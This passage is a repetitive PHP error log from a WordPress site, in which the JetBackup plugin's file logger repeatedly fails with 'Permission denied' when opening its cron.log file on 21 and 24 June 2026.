Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:45:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:45:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:45:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:45:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:45:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:45:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:46:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:47:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:47:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:13:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:13:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:13:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:14:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:15:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:15:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:15:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:15:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:15:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:15:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:16:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:16:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:16:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:16:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:16:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:16:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:17:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:17:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:17:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:17:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:17:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:17:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:18:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:19:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:19:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:19:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:19:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:19:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:19:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:20:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:20:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:20:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:20:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:20:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:21:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:22:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:22:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:22:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:22:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:23:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:24:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:25:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:26:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:27:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:28:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:29:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:30:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:31:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:32:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:33:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:34:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:35:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:36:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:37:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:38:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:39:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:40:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:41:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:42:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:43:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:44:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:45:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:46:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:47:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:48:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:49:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:50:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:51:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:52:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on 